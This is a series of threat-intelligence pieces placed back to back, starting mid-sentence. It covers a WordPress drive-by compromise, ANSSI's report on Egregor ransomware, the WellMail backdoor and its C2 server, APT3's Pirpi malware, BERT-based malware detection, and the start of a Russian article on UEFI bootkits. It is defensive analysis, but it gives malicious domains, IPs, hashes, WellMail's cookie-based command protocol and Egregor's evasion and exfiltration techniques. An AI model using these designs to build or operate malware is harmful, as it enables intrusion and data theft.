or WordPress 5.5.3. We grabbed source code of any page that was recorded as triggering a drive-by download and got to work. We almost immediately spotted a malicious inline script on every page that triggered a drive-by download. ### Malicious Inline Script Deployed to Multiple Pages on the Company’s WordPress Site We let the customer know about our findings and then turned our attention towards decoding and deobfuscating the script. Most of the obfuscation consisted of base64 encoded functions and strings. With the help of the Chrome DevTools Console, we stepped through the obfuscated script and eventually landed on the following: **Decoded: Malicious Inline Script Deployed to Multiple WordPress Pages** From the decoded script above, you’ll see that to trigger the drive-by download, the user must be referred to the site (not referred from the same site) and be running Windows. The Zipped JScript was served from notify.aproposaussies[.]com (179.43.169.30). At the time of writing, only Kaspersky (1/87) has flagged the domain as malicious on VirusTotal. Everything is not fine. We now understand what’s happening. At this point, the customer was already in the process of removing the malicious inline scripts and updating to the most recent version of WordPress. We did one last check of the environment to make sure no additional hosts downloaded the evil Zipped JScript file, checked to make sure that no hosts were talking to known C2 servers, and that no other malicious processes had executed. We asked the right questions and in doing so, figured out what happened. ## A Quick Recap The attackers likely used the “SocGholish” framework to inject a malicious script into multiple pages on the company’s WordPress site by exploiting a vulnerability in a WordPress plugin or WordPress 5.5.3. If an employee navigated to a compromised web page from a device running a Windows OS, an obfuscated inline script triggered a drive-by download of a ZIP file with an embedded Windows JScript file. The malicious JScript file was configured to enable remote access to infected hosts by communicating with command-and-control (C2) servers hosted on legitimate compromised infrastructure. That remote access is then typically used to deploy variants of the WASTEDLOCKER family of ransomware. ## Lessons Learned and Tips to Prevent Similar Incidents WordPress security and its ecosystem has improved over the years, but it’s still an attack vector. Keep up to date on patches, but also: - Run trusted and well-known WordPress plugins. These tend to have had more scrutiny and more focus on security. - Follow a WordPress hardening guide or install a WordPress security plug-in. There are many, so choose one that is right for you. - Explore implementing or updating your website Content Security Policy to block malicious scripts. - MFA everything and all users. - Lock down your dev and staging instances, too (including adding MFA). You need to control the entire chain of the website, not just the final site. - If a third party hosts your WordPress site, have all the contact info and recovery info needed in case of an incident. - Run an IR tabletop exercise where the initial entry point is your WordPress site. Remember, the quality of your SOC investigations is rooted in the questions you ask. If we didn’t answer, “How did it get there?” we would have missed a huge finding that the company’s WordPress site was compromised, resulting in drive-by downloads.
# Egregor Ransomware Since mid-September 2020, the ANSSI (French National Cyber Security Agency) has observed a vast campaign of attacks using the Egregor ransomware. At least 69 organisations, including some French companies, are believed to have been targeted. As ransomware, Egregor poses a significant threat since the activity of victim organisations is deeply affected. Bitcoin ransom demands can be in excess of $4,000,000. ## 1. Business Model Egregor is operated using the Ransomware-as-a-Service (RaaS) business model. Several attacker groups may therefore carry out attacks delivering Egregor, and the kill chain may vary from one attack to the other. The ransomware operators are not necessarily its developers. Egregor is part of the Sekhmet malware family, discovered in March 2020. Its operators attempt to break into the target organisation’s information system to steal sensitive documents and encrypt them. They then seek the payment of a ransom in exchange for which they claim to be able to decrypt these documents. Targeted organisations are also blackmailed with the threat of disclosure of their data: if the ransom is not paid within three days, operators threaten to publish the stolen files on a dedicated website. To increase the pressure on victims, operators may also threaten to release some of the stolen information to the media. Operators reportedly pay 30% of the profits to the developers. ## 2. Origins and Links with the Sekhmet and Maze Ransomwares The attack campaigns delivering Egregor are believed to be linked to the end of the activity of the attacker group behind the Maze ransomware. As a result, many previous Maze affiliates are believed to have started using Egregor. Furthermore, some operators of other malware, such as those of the Qakbot RAT, are now believed to prefer Egregor over Prolock as the final payload. Many researchers consider Egregor the direct descendant of Maze. This assumption is based on several factors: - **Chronology**: Egregor’s expansion coincides with the end of activity of the Maze ransomware. - **Code Similarities**: There are thought to be several code similarities between Egregor, Sekhmet, and Maze. Sekhmet and Maze also use the same encryption algorithms (ChaCha and RSA-2048). - **Ransom Notes**: The ransom notes of Maze, Sekhmet, and Egregor are also very similar. In addition to their similar structure, parts of Egregor’s ransom notes are identical. - **Infrastructure**: The same infrastructure (IP 185.238.0[.]233) is believed to have distributed both Maze and Egregor, as well as zip files containing the file synchronization tool RClone and the configuration files. Furthermore, Egregor reportedly shows similarities with other ransomwares and malicious codes, such as Clop and TinyMet Payload v0.2. ## 3. Victimology Egregor is used in attacks targeting organisations because of their profitability or their ability to pay high ransom amounts (Big Game Hunting). All activity sectors and all geographical areas represent potential targets. However, many of Egregor’s victims are located in the United States and belong to the service and manufacturing sectors. ## 4. Kill Chain ### 4.1 Infection Vector Little is currently known about the infection vector(s) used. Nevertheless, they appear to be using phishing emails with an attachment containing a malicious macro as well as illegitimate Remote Desktop Protocol (RDP) access. ### 4.2 Lateral Movement The Qakbot banking Trojan is believed to be currently used to distribute Egregor along with the Prolock ransomware. In at least one case, Egregor operators reportedly used Microsoft Excel documents imitating DocuSign encrypted documents and email thread hijacking to distribute Qakbot. The Ursnif and IcedID trojans are also thought to have been used by the Egregor operators. The use of these malicious codes allows the operators to retrieve information facilitating subsequent lateral movements. The operators are also thought to have distributed Qakbot over the network using the PsExec tool. As Maze affiliates migrate to Egregor, the tactics, techniques, and procedures (TTPs) used by Egregor operators may evolve in line with the TTPs usually associated with Maze. The SharpHound or AdFind tools are believed to have been used during the lateral movement phase within the Active Directory (AD). To move around the network, Egregor operators are believed to use SMB beacons via the Cobalt Strike tool or administrator access. Cobalt Strike payloads can be deobfuscated using the CyberChef tool. Connections to the command and control server are made via the HTTPS protocol. ### 4.3 Evasion of Defensive Measures Egregor uses multiple techniques of obfuscation to conceal its activities and complicate its analysis. In particular, Egregor imitates the svchost.exe process to execute the RClone client and uses the injection of code into the memory to increase its stealth via a reflective dynamic-link library injection. To date, the use of code obfuscation techniques, anti-debugging techniques, and the use of native Windows APIs are proven. The payload can only be decrypted using a specific argument inserted in the command line. ### 4.4 Exfiltration The RClone client is thought to allow operators to exfiltrate data for blackmail and disclosure purposes. ### 4.5 Encryption Egregor seeks to stop numerous processes to ensure that they do not access the files during encryption. Certain targeted processes (procmon and dumpcat for example) are usually used by researchers and complicate analysis of Egregor. Operators also reportedly attempt to create a Group Policy Object (GPO) to disable Windows Defender. The Bitsadmin command line tool is believed to have been used to download and execute the malicious Egregor dll. The payload is injected into an “iexplore.exe” process and starts the encryption. When the payload is executed, it first checks the language of the operating system. If the system is configured in one of the following languages, the machine will not be encrypted: - Armenian (Armenia) - Azeri (Cyrillic, Azerbaijan) - Belarusian (Belarus) - Georgian (Georgia) - Kazakh (Kazakhstan) - Kyrgyz (Kyrgyzstan) - Moldovan (Moldova) - Russian (Moldova) - Russian (Russia) - Tajiki (Cyrillic, Tajikistan) - Tatar (Russia) - Turkmen (Turkmenistan) - Ukrainian (Ukraine) - Uzbek (Latin, Uzbekistan) This practice is common among ransomwares. However, researchers believe that the verification method of the language used by Egregor is very similar to that of Sekhmet and Maze. Egregor attempts to create a shortcut in directories to check that it has the privileges required to encrypt their content. This shortcut is created with the following option: FILE_FLAG_DELETE_ON_CLOSE. This option ensures that the shortcut is deleted automatically. Egregor also attempts to remove shadow copies. ### 4.6 Disclosure of Data Several domains have been used by Egregor operators. The domains “egregor-support.com”, “egregorsup.com” and “newsegregor.com” are attributed to the Egregor ransomware. Investigations carried out by the ANSSI show that all three have been filed with the registrar Eranet and use DNSPod nameservers. This registrar/nameserver pair is fairly uncommon; however, it is consistent with the registration habits of other attacker group domains, including some domains attributed to TA505. The “egregor-support.com” and “egregorsup.com” domains allow contact to be made in order to decrypt files and/or negotiate with operators. The “newsegregor.com” and “egregoranrmzapcv.onion” domains are used to disclose data. ## 5. The Twisted Spider Group On 1st November 2020, the Twisted Spider group issued a press release indicating the end of the “Maze Team” project. At the end of October 2020, the Egregor site operators threatened to distribute stolen data on various forums, the darknet, and via torrent if their domains continued to be targeted by attackers. In at least one incident, comments in Russian were included in a PowerShell script used by the attackers. An operator of the group reportedly declared in June 2020 that the group was now cooperating with other attacker groups. ## 6. Summary of the Chain of Infection With regard to the methods used by Egregor affiliates, the following TTPs are likely to be employed: - **Infection Vectors** - T1078: Valid Accounts - Use of legitimate identifiers previously obtained. - T1566: Phishing - Sometimes through the hijacking of email exchanges. - **Execution** - T1086: PowerShell - Many affiliates use PowerShell for the execution of their scripts and codes on victims’ networks. - T1569: System Services: Service Execution. - T1053.005: Scheduled Task. - T1047: Windows Management Instrumentation. - **Persistence** - T1543.003: Create or Modify System Process, Windows Service. - T1098: Account Manipulation. - **Elevation of Privileges** - T1548: Abuse Elevation Control Mechanism. - **Defence Evasion** - T1562.001: Disable or Modify Tools - Disabling of Windows Defender through the creation of a Group Policy Object. - T1222: File and Directory Permissions Modification. - T1001: Data Obfuscation - in particular through the use of JUMP. - T1027.004: Compile After Delivery - Compilation after delivery, using a password to decrypt and execute the Egregor dll. - **Access to Identification Information** - T1110: Brute Force. - T1552: Unsecured Credentials - Recovery of identification information via the registry. - **Lateral Movement** - Attackers in particular use the AdFind and SharpHound tools to map the network. - T1087: Account Discovery - Reconnaissance of admin accounts. - T1482: Domain Trust Discovery. - T1069.001: Permission Group Discovery. - T1082: System Information Discovery. - T1057: Process Discovery. - T1021.001: Remote Desktop Protocol - Within compromised networks, some attackers use RDP sessions for propagation, including using the rdp.bat batch file to modify the registry and firewall rules to allow RDP connections. - T1021.002: SMB/Windows Admin Shares - Use of Remote Services, in particular SMB/Windows Admin Shares. - **Command and Control** - T1071: Application Layer Protocol - Use of SMB beacon via Cobalt Strike. - **Exfiltration** - T1567.002: Exfiltration to Cloud Storage - Exfiltration of data, mainly using RClone. - **Impact** - T1486: Data Encrypted for Impact - Data encryption is the main objective of the Egregor operators. - T1490: Inhibit System Recovery - Hidden Windows copies are deleted. ## 7. Recommendations In order to protect against and react to this type of attack, the ANSSI recommends consulting the guide "Attaques par rançongiciels, tous concernés – Comment les anticiper et réagir en cas d’incident?" (Ransomware attacks, all concerned - How to anticipate them and react in the event of an incident). To reduce the risk of ransomware attacks, especially by Egregor: - Back up data regularly, physically move the backup of your network and put it in a safe place while ensuring it works. - Have the capacity to detect and block the use of Cobalt Strike on the network. - Be particularly vigilant with RDP connections and the use of BITS, wmic, and PowerShell on the network. - Keep software and systems up to date. Special attention must be paid to VPN solutions and their updates to allow remote access for your employees. - If possible, disable macros in office automation solutions that allow the automated completion of tasks. This rule will prevent the spread of ransomware via application vulnerabilities. - Encrypt sensitive documents on your network to prevent their possible disclosure. - Use anti-virus software and keep it updated. - Partition the information system. - Limit user privileges and application permissions. - If possible, do not expose remote office services (such as RDP) on public networks and use complex passwords on these services. - Control Internet access. - Implement the supervision of logs. - Ensure awareness among employees. - Implement a plan to respond to cyber attacks. - Think about the cyber crisis communication strategy. The ANSSI’s advice on how to react in the event of an attack: - Ensure that attackers have not moved laterally if Qakbot, Ursnif, or IcedID is detected on the network. - Coordinate the management of the cyber crisis. - Find technical assistance. - Immediately disconnect the machines from the network without deleting their data. - Communicate at the appropriate level. - Do not pay the ransom. - File a complaint. - Restore systems from healthy sources.
# Analysis of WellMail Malware's Command and Control (C2) Server Earlier this year, we published analysis of WellMess malware that had been used to target organisations involved in COVID-19 vaccine development. In a follow-up article, we provided further technical analysis of its Command and Control (C2) server. Our investigation into WellMess has also included a second C2 server from a closely related malware family called WellMail. Again, the threat actor behind the tool has demonstrated strong operational security considerations as part of its development and usage of the backdoor, but left a small amount of evidence indicating it has been targeting COVID-19 research. The malware also follows in WellMess’s footsteps of utilising a two-tier C2 protocol to distance the threat actor from any of its backdoors. ## WellMail Analysis Our previous WellMess reporting found common strings in the client and server code of: `C:/Server/BotUI/App_Data/Temp`. By carrying out a similar analysis on a WellMail backdoor sample from the July NCSC advisory, we identified another file not included in the advisory. - **Filename:** mail.sh - **Filetype:** ELF 64-bit - **SHA-256:** 93e71fa0f4c5909a5b69033ac39b4664d10e9ed35fa995cf797e3a9990fbb751 - **First seen:** 2020-05-04 03:41:50 Both the WellMail backdoor and this new sample contain the string: `C:/Server/Mail/App_Data/Temp`. This new file is written in Go and is highly likely a first stage C2 for receiving and sending data to the WellMail backdoor. This C2 only supports communication via mutual TLS and does not support communications via unsecured channels. However, just like the WellMess C2, the WellMail C2 supports additional commands that are not present in the WellMail backdoor and are highly likely used by the threat actor to manage uploading and downloading of victim data from the C2. The similarities between this WellMail C2 and the previously mentioned WellMess C2 go beyond just the environment paths embedded in the binaries, as the way the servers are designed is also extremely similar. A breakdown of shared details is shown in Table 1. ### Table 1 - C2 Similarities | Feature | Description | |---------------|-----------------------------------------------------------------------------| | Platform | Both servers are written in the Go programming language and compiled as 64-bit ELF files | | Network | Both servers implement communication via mutual TLS with HTTP protocol | | CA Certificates | Both servers have hard coded Certificate Authority (CA) certificates with similar metadata | | SSL Certificates | Both servers require the current working directory to contain an SSL private key and certificate with filenames of serverkey.pem and server.crt respectively | | Logging | Both servers implement the open source Go library, lumberjack, to log runtime information | | Cookie Control | Both servers use the names and contents of Cookie headers from clients to specify commands to execute | | Data Storage | Both servers use specific folders to send and receive data for each command | | Architecture | Both servers work as a staging point to receive data from malicious backdoors and hold it until commands from an upstream device request the data | Each HTTP request received from a connected client is parsed to gather the Cookie headers in the request which are used to determine the command to carry out. The name of the received cookie is used as the command to execute and the contents of the cookie are optionally used as a parameter to pass to the command handler. The supported commands that can be received by this WellMail C2 are detailed in Table 2. ### Table 2 - Supported Commands | Cookie Name | Description | |-------------|-----------------------------------------------------------------------------| | first | Initial beacon from the WellMail backdoor containing victim environment information | | inbox | Receives data from the WellMail backdoor and saves it to the C2 | | dwnmail | Stages the first inbox or error data found to be exfiltrated | | spam | Saves a script file to the C2 ready to be sent on to a WellMail backdoor | | new | Searches for data received by the first command and sends it back to the client | | error | Saves the received data as a tmp.error file and stores it in the same place as the inbox data | | delete | Deletes a file on the C2 specified by a filepath in the cookie contents | | script | Searches for script files to upload to the WellMail backdoor and sends any found | ## WellMail Capabilities The WellMail backdoor has very limited functionality and the following analysis is taken from a 64-bit ELF sample. - **Filename:** vigrd - **Filetype:** ELF 64-bit - **SHA-256:** 85e72976b9448295034a8d4c26462b8f1ebe1ca0a4e4b897c7f2404d0de948c2 - **First seen:** 2020-05-25 12:42:22 The malware uses a hardcoded SSL private key, certificate and CA certificate to authenticate with the server via mutual TLS. All communications are carried out using the net.http Go package using a hardcoded C2 IP address and POST requests. An initial beacon is sent to the C2 which contains a cookie with a name of first and a value that contains: `hard_coded_string%2FMD5_hash`. The hardcoded string is taken from the malicious binary and the MD5 hash is generated from the victim’s IP address, USER environment variable and the previously mentioned hardcoded string. The content of the POST request consists of a | separated string containing: - The victim’s IP address, - The victim’s USER environment variable; and, - The MD5 hash from the cookie value. An example would be: `1.2.3[.]4|root|MD5_hash`. The response from the C2 is checked to see if it contains any cookies. If there are any, it then attempts to extract and run a gzipped script from the content of the response. After the initial beacon, the malware then generates a random number between two and four which it uses to sleep between subsequent connection attempts to the C2. Each of these connection attempts creates 1,847 random bytes of data to use as the content of the POST request and sets the cookie name as script with a value of the hardcoded string. The response is checked for cookies and runs a script in the same way as the initial beacon. The scripts are run by saving the received script from the C2 to disk and passing it into os.exec.Command with /bin/sh and running it with the output saved to a .gz file. If any errors occur during the command’s execution, then the malware sends a POST request with a cookie named error. If no errors occur, then the saved file is sent as the contents of the POST request with a cookie named inbox. In summary, the WellMail backdoor supports the commands: first, inbox, script, and error. This leaves the following commands, supported by the WellMail C2, unaccounted for: dwnmail, spam, new, and delete. ## Potential Second Stage C2 The functionality of these unused commands matches those expected to assist exfiltration of data from the C2 that was received from WellMail backdoors. The WellMail C2 analysed lacks the capability to send the responses of scripts run by the WellMail backdoor onto a further threat actor controlled box. However, looking at the implementation of the dwnmail command, there are suggestions that the threat actor uses alternative software running on the WellMail C2 in order to read the data returned from the WellMail backdoor. The dwnmail command searches for any .gz or .error files on the C2 that have been sent from a WellMail backdoor by an inbox or error command. If it finds a file, then it copies it to the `/var/www/html/mail/` folder and also sends back the fully qualified file path of the new file as the contents of the 200 OK response. This folder is one of the default locations that Linux email servers use as their root directory. It is possible that the threat actor has set up an email server on the C2 that it logs into in order to retrieve the files stored on the C2. After accessing the files by this method, the threat actor can send a delete command with the file path returned by the dwnmail command in order to remove the sensitive material from the C2. It is likely that the threat actor behind WellMail and WellMess accesses its C2 machines from behind Tor and while using a VPN service. We have observed a substantial amount of connections being made to the C2 IP addresses from several different commercial VPN providers. These same C2 IPs also have connections from Tor exit nodes, which could be occurring due to a dropped connection from the VPN provider. This would align with the strong OPSEC practices observed from the threat actor behind these tools in having multiple layers of security in case one fails. ## Targeting When looking at the environment paths found in the WellMess and WellMail samples, a pattern emerges. Both of the C2 binaries have `/G/ID` after the `/Temp` folder in their strings, whereas the backdoor samples for WellMess and WellMail from 2019 and 2020 both have just the `/ID` in the string. The ID in most samples appears to be a number, which presumably increments with each new target of the malware. We have seen samples with numbers up to 73, indicating that there have potentially been 73 targets of the WellMess and WellMail malware. When the ID is not a number, it contains a string, which is likely related to either the device or service the malware is masquerading as or the organisation that is being targeted. The ID values we observed are: - 4 - 12 - 36 - 72 - 73 - watchdogd - migration - agent.sh - wdns - SangForPromote.exe Two of the targeted entities likely correspond to a Canadian vaccine research company and the University that stood up the Research Headquarters for Epidemic Prevention and Control with the Chinese Academy of Science. This would align with the claims by NCSC that the threat actor behind WellMess and WellMail has targeted institutions researching a COVID-19 vaccine. ## Conclusion The WellMail C2 is extremely similar to the WellMess C2, making it almost certain that the two tools are developed and deployed by the same threat actor. The WellMail C2 and backdoor have slightly less functionality than the corresponding WellMess malware but are still effective for running malicious scripts on victim machines. It is unclear based on the slight differences in functionality whether the two malware families are used in tandem or whether one is an evolution of the other and is now preferred by the threat actor. The presence of particular file paths in the two malware families points to exploitation of COVID-19 research facilities by the threat actor, which confirms the information previously put forward by NCSC with regards to targeting. We continue to track the WellMess and WellMail malware. ### TTPs - **Command and Scripting Interpreter:** Unix Shell - **Application Layer Protocol:** Web Protocols - **Data Encoding:** Standard Encoding - **Exfiltration Over Command and Control Channel** ### Indicators of Compromise (IoCs) | Indicator | Type | |---------------------------------------------------------------------------|--------| | 85e72976b9448295034a8d4c26462b8f1ebe1ca0a4e4b897c7f2404d0de948c2 | SHA256 | | 93e71fa0f4c5909a5b69033ac39b4664d10e9ed35fa995cf797e3a9990fbb751 | SHA256 | | 52c6651b6bd0c5940fd0de8e885f5ef8d0292142 | SHA1 | | 5e0b5869d98c93cd7f7d925f04a49bd638590ec0 | SHA1 | | d5c26128127f2fac6e3ff2c87b473d74 | MD5 | | 3293b12b7622f484b69819217ed8af85 | MD5 | | vigrd | Filename | | mail.sh | Filename | | 111.90.150[.]140 | IP |
# APT3 Uncovered: The Code Evolution of Pirpi ## Your functions are showing (and leaving a trail) **Micah Yates - @m1k4chu** **Palo Alto Networks** ### Persistent Code Reuse - What is Pirpi? - Targeted malware delivered via 0-days - (CVE-2010-3962) - (CVE-2014-1776) - (CVE-2014-4113) - (CVE-2014-6332) - (CVE-2015-3113) - (CVE-2015-5119) - Appended to a valid gif - Obfuscated Command and Control - Compromised infrastructure ### Finding a Trail - Why are you doing this? - It’s fun - You don’t know what you don’t know - Pick 2 binaries by: - Family - Compile Times - File Size - % similarity (ssdeep) It started out with a diff, how did it end up like this? - Inspect Binaries w/ IDA Tools - Bindiff – Hex Rays - IDAScope – Plohmann/Hanel - Bindiff two known Pirpi samples - fb838cda6118a003b97ff3eb2edb7309 - e33804e3e15920021c5174982dd69890 ### Aside: Putting the FUN in Function **Pirpi.201x vs Operation Clandestine DoubleTap** Just give me all the Pirpi you have: | Compile Year | MD5 | Beacon | |--------------|---------------------------------------|--------------------------------------------------| | 2007 | 3f5d79b262472a12e3666118a7cdc2ca | www.msnmessengerupdate.com/index31382/f2ae95b93i97.bmp | | 2008 | 6bdee405ed857320aa8c822ee5e559f2 | www.msnmessengerupdate.com/image19582/7e7e7eb7fi7f.gif | | 2009 | e22d02796cfb908aaf48e2e058a0890a | www.office2008updates.com/dream/dream.php? | | 2009 | 1fa0813be4b9f23613204c94e74efc9d | ini.msnmessengerupdate.net/smart/smartmain.php? | | 2010 | 914e9c4c54fa210ad6d7ed4f47ec285f | ini.office2005updates.net/smart/smartmain.php? | | 2013 | 44bd652a09a991100d246d8280cac3ac | 218.42.147.106/bussinesses/caetrwet/ | | 2014 | b48e578f030a7b5bb93a3e9d6d1e2a83 | product.sorgerealty.com | | 2016 | f683cf9c2a2fdc27abff4897746342c4 | ste.mullanclan.com | Just give me all the Pirpi you have: - function_1 - Compile Year and Month - Minor versions - V1 - 2007 - MD5: 98011f5b7b957a142f14cbda57a5ea82272cb6c16e083ca143d40c63005753a2acd8d34d8360129df1c8d03f253ba747 - @00401FC0 - V2 - 2008 - MD5: 6bdee405ed857320aa8c822ee5e559f2 - @00403110 - V3 - 2006 - MD5: e22d02796cfb908aaf48e2e058a0890a - @100016A0 - V4 - 2014 - MD5: c006faaf9ad26a0bd3bbd597947da3e1 - @0040B320 - V5 - 2016 - MD5: f683cf9c2a2fdc27abff4897746342c4 - @00401D60 - V6 - 2017 - MD5: 07b4d539a6333d7896493bafd2738321 - @00404A20 ### EXEProxy - b94bcffcacc65d05e5f508c5bd9c950c - Contains function_1 - Contains Anti-Disasm - OpenSSL included - Requires cmd line params to run ### EXEProxy 2: Electric Boogaloo - 4d3874480110ba537b3839cb8b416b50 - Contains function_1 - Server tool - Requires Cmd Line Params - ">Ltime %2d:%2d:%2d Disconnect >" - "%2d:%2d:%2d >Cback:" - ">LTime: %2d:%2d:%2d" - ">Cback: %s:%d" - "H:%s " - "Ok. " - "K:%d" ### In Summary: - Some families never change - Anchor Functions are Fun! - Use public info - Pirpi malware active since at least 2006 - Unintended findings ### Thanks: - Richard Wartell – Palo Alto Networks - Mike Scott – Palo Alto Networks ### Biblio: - MITRE: https://attack.mitre.org/wiki/Software/S0063 - FireEye: - https://www.fireeye.com/blog/threat-research/2010/11/ie-0-day-hupigon-joins-the-party.html - https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html - https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html - https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html - Symantec: - https://www.symantec.com/connect/blogs/new-ie-zero-day-used-targeted-attacks - https://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong - http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/Symantec-Buckeye-IOCs.txt - EmergingThreats: - https://rules.emergingthreats.net/changelogs/suricata-1.3.etpro.2015-09-10T21:29:38.txt - Palo Alto Networks: - https://researchcenter.paloaltonetworks.com/2015/07/apt-group-ups-targets-us-government-with-hacking-team-flash-exploit/ - https://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/
# BERT Embeddings Part 2: A Modern ML Approach For Detecting Malware Cristian Popa April 1, 2022 A novel methodology, BERT embedding, enables large-scale machine learning model training for detecting malware. It reduces dependency on human threat analyst involvement in training machine learning models. Bidirectional Encoder Representation from Transformers (BERT) embeddings enable performant results in model training. CrowdStrike researchers constantly explore novel approaches to improve the automated detection and protection capabilities of machine learning for Falcon customers. CrowdStrike data science researchers recently explored and experimented with the use of Bidirectional Encoder Representation from Transformers (BERT) for embedding command lines, focusing on anomaly detection, but without detailing the model itself. Diving deeper into that research, CrowdStrike researchers explain the reasons for using BERT for command line representation and how to train the model and assess its performance. ## Defining Objectives An embedding is a representation of an input, usually into a lower-dimensional space. Although embeddings are in scope for various input types, string embeddings are a common choice for representing textual inputs in numeric format for machine learning models. An essential trait of embedding models is that inputs similar to each other tend to have closer latent space representations. This similarity is a consequence of the training objective, but researchers are often interested in lexical similarity when strings are involved. This experiment aimed to better represent string fields encountered in a large stream of event data. The focus was on two such fields: “command line” and “image file name.” The first field consists of an instruction that starts a process that is then recorded as an event and sent to the CrowdStrike Security Cloud. The second field is the name for the executable starting the process, which is a substring of the corresponding command line. Two main factors dictated the pursuit of such an embedding model: First, we aimed to improve the string processing in our models, and second, we wanted to benefit from the significant developments achieved in the area of natural language processing (NLP) in the last few years. ## Building the Model ### Data The experiment started by collecting data for training the model from events related to process creation. To ensure variety, it was collected from all of the supported platforms (Windows, Mac, Linux) and sampled from long spans of time to ensure that the processes are not biased by temporary events (e.g., the Log4j vulnerability). ### Model Architecture For the model architecture, BERT was the primary candidate. The end-to-end model consists of two main components: the tokenizer and the neural network. A tokenizer is a simple mapping from strings, called tokens, to numbers. This numeric representation of the inputs is necessary because the BERT neural network cannot use textual data directly in its computations. The tokenizer’s job is to find the optimal tokens given a vocabulary size, which, in this case, was 30,000 tokens. Another advantage of using a tokenizer is that unknown strings from the training set can still be composed out of tokens learned from other strings. This is important because English has a well-defined set of words, while command lines can theoretically feature any character combination. The BERT model is an extensive neural network that relies on an NLP concept called “self-attention mechanism.” The concept, introduced by Vaswani et al., 2017, has gained significant traction in the research community, to the point where almost all modern NLP solutions use it. To briefly explain how it works, tokens passed through the network pay attention to other relevant tokens in the input. BERT can compute the attention of tokens and use it to build an understanding of the language. Another important concept used by BERT is masked language modeling (MLM). This is the training objective used by the network. Tokens in the input are randomly masked, and the model has to predict the initially masked tokens. The MLM objective allows for self-supervised learning, meaning that researchers do not need to explicitly label data, but instead they only need the input strings themselves. This technique presents an advantage for cybersecurity as it removes the need to involve threat analysts in this initial training step. Diving deeper, there are some appropriate training steps for BERT: pre-training and fine-tuning. First, the model is pre-trained using MLM on a large dataset consisting of command lines and image file names. The model is then fine-tuned with a malware classification objective, on a different dataset. With this approach for pre-training, it becomes easy to collect a large dataset from which the model will learn the representation of the data. Hence, the second phase requires significantly fewer labeled samples in the dataset. Learning from smaller amounts of labeled data constitutes an obvious advantage that becomes applicable in this case. Additionally, the first step is task-agnostic, meaning that the pre-trained model can be fine-tuned later for any task needed — malware classification, malware family identification, anomaly detection, etc. ## Experiments After getting the model ready for training, one of the first steps is sifting through the data for a diverse subset of samples because the tens of billions of events collected from Falcon telemetry were too many for training BERT from scratch in a reasonable amount of time. Small embedding models were repeatedly trained briefly to identify the samples they were performing worse on, excluding them from the subset. Afterward, modeling efforts mainly revolved around finding the right hyper-parameters. Focus was placed on the performance for malware classification using a holdout set from the fine-tuning data, as this was a good measurement of the added benefit of using the embeddings over previous features. The hyper-parameter that brought the most significant improvement was the change to the maximum number of tokens that can get into the BERT model. This is relevant because while image file name strings, which are shorter, would often fit fine into the default token limit, command lines would not. As a result, a huge chunk of information is lost due to the truncation of the tokens. Increasing this limit to a calibrated value was crucial in the modeling process. The other experiments focused on the embeddings’ size and the number of hidden layers in the neural network. Optimal values were found for them according to the evolution of the classification metrics. In the end, our experiment resulted in an embedding model whose embeddings seem on par with the original features for two of CrowdStrike’s existing machine learning models that used strings. These models use not only command lines or image file names for classification, but also other fields coming from the event data, such as execution flags and start times. One observation was that the fine-tuned model shows better performance, which makes sense because it was specifically trained to separate between clean and dirty samples. ## Future Research Opportunities Future areas of research interest involve training an end-to-end neural network for classification that incorporates BERT for the string-type features. Currently, the embeddings are computed and used in our gradient boosted tree models. Putting everything together into a single neural network would probably improve the efficiency of the BERT embeddings, as they are trained along with the rest of the features. There is significant potential that the embeddings would be better used by a deep learning algorithm than a tree-based one, since the latter makes predictions based on higher or lower features than a trained value, while the deep learning algorithm can process the input more freely.
# Как буткиты внедряются в современные прошивки и чем UEFI отличается от Legacy BIOS Привет, Хабр! На связи Антон Белоусов и Алексей Вишняков, и мы продолжаем вместе с вами изучать буткиты — наиболее опасный класс вредоносного ПО. Гонка вооружений между разработчиками решений в области ИБ и вирусописателями не останавливается ни на секунду: первые активно внедряют новые механизмы противодействия киберугрозам, а вторые — инструменты их обхода. Как раз с точки зрения безопасности нас заинтересовал современный стандарт предзагрузки операционных систем UEFI. Поэтому в этом посте мы решили: - разобраться, чем загрузка в режиме UEFI отличается от загрузки в режиме Legacy BIOS; - рассказать о новых экземплярах буткитов, нацеленных на компрометацию UEFI; - выяснить, похожи ли они на своих предшественников (обширную группу так называемых legacy-буткитов мы подробно изучили в прошлый раз); - рассмотреть используемые злоумышленниками техники и слабые места систем на платформе UEFI. Буткиты бывают двух типов. Первые заточены на более ранние платформы, так называемые Legacy BIOS. Вторые адаптированы под современные решения, которые имеют универсальный интерфейс UEFI для связи ОС с программами, которые управляют низкоуровневыми функциями устройств (далее — UEFI, прошивка). Несмотря на более современный подход к обеспечению безопасности UEFI, в коде его прошивок регулярно обнаруживают уязвимости. Например, в феврале этого года наши коллеги из компании Binarly выявили более двух десятков брешей в UEFI, которые затрагивают миллионы устройств от крупнейших производителей. Злоумышленники, конечно же, не дремлют и стараются их активно эксплуатировать. Поэтому актуальность исследования защищенности платформы только растет. Большинство буткитов универсальны. Например, ESPecter и FinSpy умеют заражать как старые, так и новые платформы. Одним из недавно обнаруженных UEFI-буткитов стал MoonBounce. ## Архитектура UEFI UEFI (Unified Extensible Firmware Interface, единый интерфейс расширяемой прошивки) — это небольшая операционная система, которая начинает работать при включении компьютера. Она пришла на замену устаревшей модели BIOS. UEFI позволяет унифицировать процесс разработки и создавать отдельные модули, а не только прошивку целиком. Фреймворк имеет хорошо читаемый и документированный код на C. Многие пользователи отмечают удобный интерфейс, который разрешает пользоваться мышью. Среди других преимуществ платформы — поддержка сети «из коробки» и возможность работать с дисками объемом более 2 ТБ. Все это позволяет ускорить процесс разработки и сделать его безопаснее. ## Интерфейс UEFI По требованиям платформы диск должен быть размечен в формате GPT. Соответственно, длина адреса блока будет равна 64 битам. Опираясь на эти данные, давайте вычислим гипотетический размер диска, который можно адресовать с помощью этого формата. Если использовать сектор размером 512 байтов, получим более 9 зеттабайт. Код для инициализации оборудования, в том числе код для загрузки ОС, разумеется, важный элемент платформы, однако наибольший интерес для нас представляет интерфейс, который позволяет взаимодействовать с UEFI. Приложения и драйвера UEFI имеют две таблицы для работы с API-интерфейсом — EFI Boot Services Table (службы доступны в процессе 